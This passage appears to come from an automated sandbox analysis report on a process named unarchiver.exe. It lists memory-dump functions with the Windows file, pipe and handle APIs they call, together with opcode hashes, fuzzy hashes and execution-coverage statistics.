Instruction Fuzzy Hash: E91188715093849FD7138B15DC44B62FFB4DF46624F0880DAED858F253D275A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0105AA52, Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0105AAA2

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 59e3ca1b34a20d7763efd3f0f6fc40c2fc1445ffc40bc7b449f93dd94d7b8f52
Instruction ID: a48c585270a62e1eeebff63b82e28710fbf818be9467a284f2d69334b9b1cf6b
Opcode Fuzzy Hash: 59e3ca1b34a20d7763efd3f0f6fc40c2fc1445ffc40bc7b449f93dd94d7b8f52
Instruction Fuzzy Hash: 6801D472900200ABD310DF1ADC85B66FBE8FF88B20F14812AED088B745E635F515CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0105A172, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 0105A1C2

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 26e8cf3e8a13d20167f7adf3486bdaedc12524334075ef97bb2b89e00ac15ced
Instruction ID: 87128b822524b8d9aa9d14217d2d0a8159b110eb376ffb0978ed845518a7675b
Opcode Fuzzy Hash: 26e8cf3e8a13d20167f7adf3486bdaedc12524334075ef97bb2b89e00ac15ced
Instruction Fuzzy Hash: B101D471900200ABD710DF1ADC85B66FBE8FF88B20F14816AED088B745E635F515CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0105A642, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0105A674

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f5b77fe32d206b0a2487d7eade25d1c6b8dfaf141c15dfb0b3ed8569ee288a81
Instruction ID: 273390b2f3a2e392e568b6bf0989adcc0f8b4769a0259ac00b1058acae7bcee7
Opcode Fuzzy Hash: f5b77fe32d206b0a2487d7eade25d1c6b8dfaf141c15dfb0b3ed8569ee288a81
Instruction Fuzzy Hash: D6018475A00244DFDB518F29D88476AFFA4DF44220F08C0AADD498B652D2799404CE71

Uniqueness

Uniqueness Score: -1.00%

Function 0105AE1E, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 0105AE50

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: cc323285869600f74c431083e90275c09deb1f0b06421a54a3e70563dc34621d
Instruction ID: 03edcb27c38d68eb18325a3d527153bf98c72a5cbffa489c113f00b1ee38c1d9
Opcode Fuzzy Hash: cc323285869600f74c431083e90275c09deb1f0b06421a54a3e70563dc34621d
Instruction Fuzzy Hash: 4401F475600241CFDB518F19E88576AFFE4DF44320F08C0AADD898B752D279E808DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0105A25E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0105A290

Memory Dump Source

Source File: 00000007.00000002.322906616.000000000105A000.00000040.00000001.sdmp, Offset: 0105A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_105a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 9104d24fc2879798928344cf33c27cc69bb9f53a904f1936fc743f5b4920e143
Instruction ID: 58b507dc081866b972433ec30ac91269125b5d58c5ec75298e2f797b22df9a2d
Opcode Fuzzy Hash: 9104d24fc2879798928344cf33c27cc69bb9f53a904f1936fc743f5b4920e143
Instruction Fuzzy Hash: C4F0AF75904244CFDB918F19E885766FFA4EF44720F08C1AADD894B752D27AA448CEB2

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0C30, Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0c6f4d18e603a025dbb122a813ab23d40b55119ed98e76a637309b2ba6a171d
Instruction ID: a11d2c9f8d97fd54c31ccc0c150c56609ec0a689ea2c70b5f6ea09f11dfb195a
Opcode Fuzzy Hash: a0c6f4d18e603a025dbb122a813ab23d40b55119ed98e76a637309b2ba6a171d
Instruction Fuzzy Hash: 6351C270E42209DFDB18DFB5D4809AEBBB2BF8A310F209469E405B7350DB399942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02B907F8, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323056673.0000000002B90000.00000040.00000040.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b90000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2328333e7389e7ac00f949c67f8f930720ca7bf770355a6d1604ba08f3b9538
Instruction ID: 0d92c6b1f6fdaa5b08b6e11be3277f81fe81fa40c4bc42d864e5a0c966b2f742
Opcode Fuzzy Hash: c2328333e7389e7ac00f949c67f8f930720ca7bf770355a6d1604ba08f3b9538
Instruction Fuzzy Hash: 112151B24097446FD701DB19EC41857FBE8DF85621F08C56EFD498B601E26AAA188BF2

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0AC9, Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed959ea8d05515fd417398a51d92a5b753e553fed8f220232e588be08b30f15
Instruction ID: 88e8971dd58e54d6bb220edcc7ef751ca7062368d3e7f2078fee86149c29bb68
Opcode Fuzzy Hash: 0ed959ea8d05515fd417398a51d92a5b753e553fed8f220232e588be08b30f15
Instruction Fuzzy Hash: 5D214434D00208DFCB00DFA4D4956EEBBBAEF89304F20856AE804B7250DB386E16CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0AD8, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96159f92b7869808f52642c09e719117c7ecbc1fcaeadfec05e0092c83854561
Instruction ID: 361ca347539e8d9980545f930373c1568f6d5626b4c1a0b24f35a611d8891e6b
Opcode Fuzzy Hash: 96159f92b7869808f52642c09e719117c7ecbc1fcaeadfec05e0092c83854561
Instruction Fuzzy Hash: 36212575D01208CFCB04DFA9D8446EEBBBAFB89304F20952AE504B7250DB786E16CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02B905CF, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323056673.0000000002B90000.00000040.00000040.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b90000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09b317cf5608cd62fd6e775b70663165ad38cbf76a9737f6ca8cbfb5ea438025
Instruction ID: 0b1bb2037ea2e89fd9d06d0eaf85d8912111fadea460cb953bfa39f461de837d
Opcode Fuzzy Hash: 09b317cf5608cd62fd6e775b70663165ad38cbf76a9737f6ca8cbfb5ea438025
Instruction Fuzzy Hash: 7D0167B65093845FD7128B15DC40867FFB8EF86630749C49BEC899B612D1256909CB72

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0E38, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a612b10510441d44be199fa411f6764a8cf517ce38e0f711db6efa72070bb81
Instruction ID: 3d69083c255b6e13eb5126306a8ca01e8767c6a2663212891824f3e0227bbd83
Opcode Fuzzy Hash: 7a612b10510441d44be199fa411f6764a8cf517ce38e0f711db6efa72070bb81
Instruction Fuzzy Hash: 800110B0C42349CFCB08DFB4D444AAEBBB1AB42314F2095AEC000B7290C7794A44CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0E48, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 975b67ee5c29de208c0400c7647467da48892feac1e1f54c8be0bf36d0f0de0b
Instruction ID: 8204b12c59a6716bb3a06d8ab4c5944099c62acde6bd4b4c55901e131e66fc9d
Opcode Fuzzy Hash: 975b67ee5c29de208c0400c7647467da48892feac1e1f54c8be0bf36d0f0de0b
Instruction Fuzzy Hash: 9001CCB0D41209DFCB08EFA4D4446AEBBB2AB45305F20A9AEC40177290D7799A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CC0BBF, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b439dd5d77c25dec64fcdf0c1d582a77f236118295865a652c0caa3080a2ffb1
Instruction ID: d9adf2c0018bbe4b5ee8df2f3a7faa3dce384b0f691acb90456617db2b933bca
Opcode Fuzzy Hash: b439dd5d77c25dec64fcdf0c1d582a77f236118295865a652c0caa3080a2ffb1
Instruction Fuzzy Hash: 490146B0D04209DFCB44DFA9C4516EEBFF1EF86300F2084AAC848A3311EB346A05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02B9081E, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323056673.0000000002B90000.00000040.00000040.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b90000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87783d0bcabcd7a974a8e468f8f8fe85275278dfe2573c6e8318d590eaf577f1
Instruction ID: 1a9cc8a44b1ba9a1c4d53b93544e614d5b040452819c515ba90d61e2d50fd917
Opcode Fuzzy Hash: 87783d0bcabcd7a974a8e468f8f8fe85275278dfe2573c6e8318d590eaf577f1
Instruction Fuzzy Hash: 88F082B28056046BD200DF09EC418A6F7ECDF94621F14C52EEC488B700E67AA9148AF2

Uniqueness

Uniqueness Score: -1.00%

Function 02B905F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323056673.0000000002B90000.00000040.00000040.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2b90000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6d2d3524e096e6d9513fc2470bec7c96da5eed7786152e9f2e40165b89acf21
Instruction ID: e450b1e68080064d6325e4b5f88318eff9ac815b0535ea86d6103dbf8cb02a5b
Opcode Fuzzy Hash: c6d2d3524e096e6d9513fc2470bec7c96da5eed7786152e9f2e40165b89acf21
Instruction Fuzzy Hash: A1E06DB66006008B9650CF0AEC81462F7D8EB84630B18C47BDC0D8B711D13AB504CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 010523F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.322900396.0000000001052000.00000040.00000001.sdmp, Offset: 01052000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1052000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc37ed6db8f80ae7630ea1f78debce00bdcebdcb9aa5f7e394725240bb76187
Instruction ID: a38eec2fb6593359800e6056a57bfc992be8bdb27b0ac22c5f7e41ba659fee84
Opcode Fuzzy Hash: 6cc37ed6db8f80ae7630ea1f78debce00bdcebdcb9aa5f7e394725240bb76187
Instruction Fuzzy Hash: DED05E79205A818FE3668A1CC1A8B963FE4EF51B04F4644F9EC408B663C768D5D1D600

Uniqueness

Uniqueness Score: -1.00%

Function 010523BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.322900396.0000000001052000.00000040.00000001.sdmp, Offset: 01052000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1052000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cce82f8be9e2535313af3fa84d4cdcd01a70350cbce14f6e5928d08372051db7
Instruction ID: 6a1acc8856339bbc28a17aa7d2dd25ff5c7b4a231a01d6970cae5a06e5b394ed
Opcode Fuzzy Hash: cce82f8be9e2535313af3fa84d4cdcd01a70350cbce14f6e5928d08372051db7
Instruction Fuzzy Hash: 81D05E342012818BD755DB1CC194F5A3BD4AF41B00F0684E8AC408B262C3A4E881C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02CC0299, Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.323122260.0000000002CC0000.00000040.00000001.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cc0000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04184034a70400efaf1d403de3d8cd2f80e42197c82e07ff01a7a492c41dd111
Instruction ID: 9dd5de99993c64404924c1226b43da78ced2ae146432a634e3adb43eb867678c
Opcode Fuzzy Hash: 04184034a70400efaf1d403de3d8cd2f80e42197c82e07ff01a7a492c41dd111
Instruction Fuzzy Hash: 7B911875D01204DFDB18CFA5E844A9EBBB7FF89311F1091A9E80AB7266CB390984CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: unarchiver.exe PID: 5892 Parent PID: 4724 unarchiver.exeCOMMON

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 052002A8, Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba60e037fefe18a4b7c2a62764ceb04014df2a67242cf49604fb1d2cb4344425
Instruction ID: 86e3fd5c76bad70c16c23f60542292263fb238fb8f17af7ae7b04135cbfc3518
Opcode Fuzzy Hash: ba60e037fefe18a4b7c2a62764ceb04014df2a67242cf49604fb1d2cb4344425
Instruction Fuzzy Hash: 5F22D274E11218CFDB14DFA5D888B9DBBB2FB89301F5091A9E809A7352DB389D91CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02B0B0B2, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02B0B15F

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: cf46a551d69b3176f95e4ddd418fafe80b2fe43e1213a384c3c571605b7ce4c7
Instruction ID: ccdd7a15622931da8efa285d301513f71a82f556d26d261a4d8b68d607642a78
Opcode Fuzzy Hash: cf46a551d69b3176f95e4ddd418fafe80b2fe43e1213a384c3c571605b7ce4c7
Instruction Fuzzy Hash: 0531C4715043446FEB228F65DC84FA6BFBCEF05310F0488AAF985CB152D324A919DB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0AB70, Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02B0AC13

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7012e03e3ef3aa1a14db5aa2915497c5b15495dde98a78fce6ba3f3fb3f2419d
Instruction ID: e688af1f92dc961727299ab7e8b6fa98167923710023b7f0aa34666e713ca823
Opcode Fuzzy Hash: 7012e03e3ef3aa1a14db5aa2915497c5b15495dde98a78fce6ba3f3fb3f2419d
Instruction Fuzzy Hash: FA31C472504344AFEB228B65DC84FA7BFACEF05710F0888AAF985DB152D324A419DB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A9E2, Relevance: 1.6, APIs: 1, Instructions: 95
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 02B0AAA2

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: ce882a37f8d538ba0ecafc92a23e23b940ee1666fb862fbbbef8efb7547a57b7
Instruction ID: 1a969b967ac20b162bf86bdf698709638c4e3a99a6f52bd509f045d6e9b9b02d
Opcode Fuzzy Hash: ce882a37f8d538ba0ecafc92a23e23b940ee1666fb862fbbbef8efb7547a57b7
Instruction Fuzzy Hash: 17318E6640E3C05FD7038B758C61A65BFB4AF47610F1E84DBD8C4CF1A3D2696919C762

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A504, Relevance: 1.6, APIs: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 02B0A5A9

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0aa2fc7c0136a4dd06e21c82f9de8fe19887c514912c9594229a2fc76da61ffe
Instruction ID: 304b652e5b6bd6bb16b3508121a74a1ef91648e8a2ba9a000c2092f34cb66336
Opcode Fuzzy Hash: 0aa2fc7c0136a4dd06e21c82f9de8fe19887c514912c9594229a2fc76da61ffe
Instruction Fuzzy Hash: C43170B1504380AFE722CF65DC84F66BFE8EF05214F0884AEE9859B252D375E809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0AB96, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02B0AC13

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ac89964b15ea572121f5e1af0d5cc2b0631bb08c26e564f11468848ed7206ed6
Instruction ID: 3b8b5bc32fa479218b0ca4b9e4ba680a30e67e6e25c1d005af0bb7ef2c2d2d35
Opcode Fuzzy Hash: ac89964b15ea572121f5e1af0d5cc2b0631bb08c26e564f11468848ed7206ed6
Instruction Fuzzy Hash: 5C219072500204AFEB229F69DC84FAAFFACEF04710F14886AEA459A151D770A5148BB1

Uniqueness

Uniqueness Score: -1.00%

Function 02B0B0E2, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 02B0B15F

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b83a82cf4185956a229a1e11ca1f59e61ea6bba1de31e39c9453859f53fb2299
Instruction ID: 049c4d128908fa1b0088de1986f96c9d061f35f6db5acc51e19502ade475a584
Opcode Fuzzy Hash: b83a82cf4185956a229a1e11ca1f59e61ea6bba1de31e39c9453859f53fb2299
Instruction Fuzzy Hash: 5A21A172500204AFEB219F65DC84FABFBACEF04310F1488AAEE45DB151D770A954CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A77C, Relevance: 1.6, APIs: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A80A

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 495d7c2f6232ac98b910071f38546325275ca99fd5570f4567262b8db58e1813
Instruction ID: 0b12be7dc2bc70ff6673705c254390c1e224cdf845b8a2cb24d9a72f2de069d9
Opcode Fuzzy Hash: 495d7c2f6232ac98b910071f38546325275ca99fd5570f4567262b8db58e1813
Instruction Fuzzy Hash: 7521A471408380AFE7128B64DC84F66BFB8EF46714F0884EAE9849F153D264A809C775

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A85F, Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A8ED

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 39c9e9677b5a77f9a38fec5a81a71bb1b3d848cbe4bbe10d81d62f77b870c24c
Instruction ID: 1f0e755986bc2ad5dbc9a53dd68242667e2bf94539c0c6007fa2ae1da33de89b
Opcode Fuzzy Hash: 39c9e9677b5a77f9a38fec5a81a71bb1b3d848cbe4bbe10d81d62f77b870c24c
Instruction Fuzzy Hash: FD218171509380AFDB228F65DC84F96BFB8EF46310F0888DAEA849F152D365A409CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A52A, Relevance: 1.6, APIs: 1, Instructions: 76
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 02B0A5A9

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9bef0670e8e5c0af3fdf59748017d7af1b5e3dc5ce4c00cd6b03e29daf025735
Instruction ID: 19e577594db4ff892296126a22ac77b6979b749156b9ca60a551d23417fe6085
Opcode Fuzzy Hash: 9bef0670e8e5c0af3fdf59748017d7af1b5e3dc5ce4c00cd6b03e29daf025735
Instruction Fuzzy Hash: 60217F71500740AFEB21DF69D884B6AFFE8FF08310F1488A9EA459B292D771E404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A6BB, Relevance: 1.6, APIs: 1, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A741

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: f5afb8c432f02d55fb15c905425d51ce1f61baf9f53ecc0896b55fc013286c2e
Instruction ID: 5a3210d5ae3194fa80928ec33745882320fe567f2f4d7cf2bf6ba5755a56e3fe
Opcode Fuzzy Hash: f5afb8c432f02d55fb15c905425d51ce1f61baf9f53ecc0896b55fc013286c2e
Instruction Fuzzy Hash: A921D5B54083806FE7128B65DC80BA6BFB8EF46710F0884DBEA849F193D264A909D771

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A600, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02B0A674

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: bb206f4d466c111c3d2641e43c16e198cd5f5071f4d2fd771ee02460d285876c
Instruction ID: d0d79012c6bac98837078dc3c5b81ad727ab5af6a8315bc8cfdda0a48356fb5b
Opcode Fuzzy Hash: bb206f4d466c111c3d2641e43c16e198cd5f5071f4d2fd771ee02460d285876c
Instruction Fuzzy Hash: EB21C6B55097C09FD7138B25DC94792BFB4EF52224F0884EBDC858F693D2649908CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A148, Relevance: 1.6, APIs: 1, Instructions: 64
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 02B0A1C2

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 0e61ba91040e59fc2db6cd9708639f3032699ed6555bf4e5161474230313d561
Instruction ID: 054797dc1566c903d4ed90355aecdaf9146f124b9b88b898ca5aee1b9c0c668d
Opcode Fuzzy Hash: 0e61ba91040e59fc2db6cd9708639f3032699ed6555bf4e5161474230313d561
Instruction Fuzzy Hash: 3311BE71504340AFD311CB25DC85F66FFB8EB85620F08819AED488B682E234B919CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A448, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 02B0A4AF

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 2aa9b110cae28718c9beadb5deeb1bf53fad2836c4448f470132de722498d27e
Instruction ID: 7eb42e509e0cfc86582f11b120dc0e280493abf2b136af2e7c4699ecc01d29b4
Opcode Fuzzy Hash: 2aa9b110cae28718c9beadb5deeb1bf53fad2836c4448f470132de722498d27e
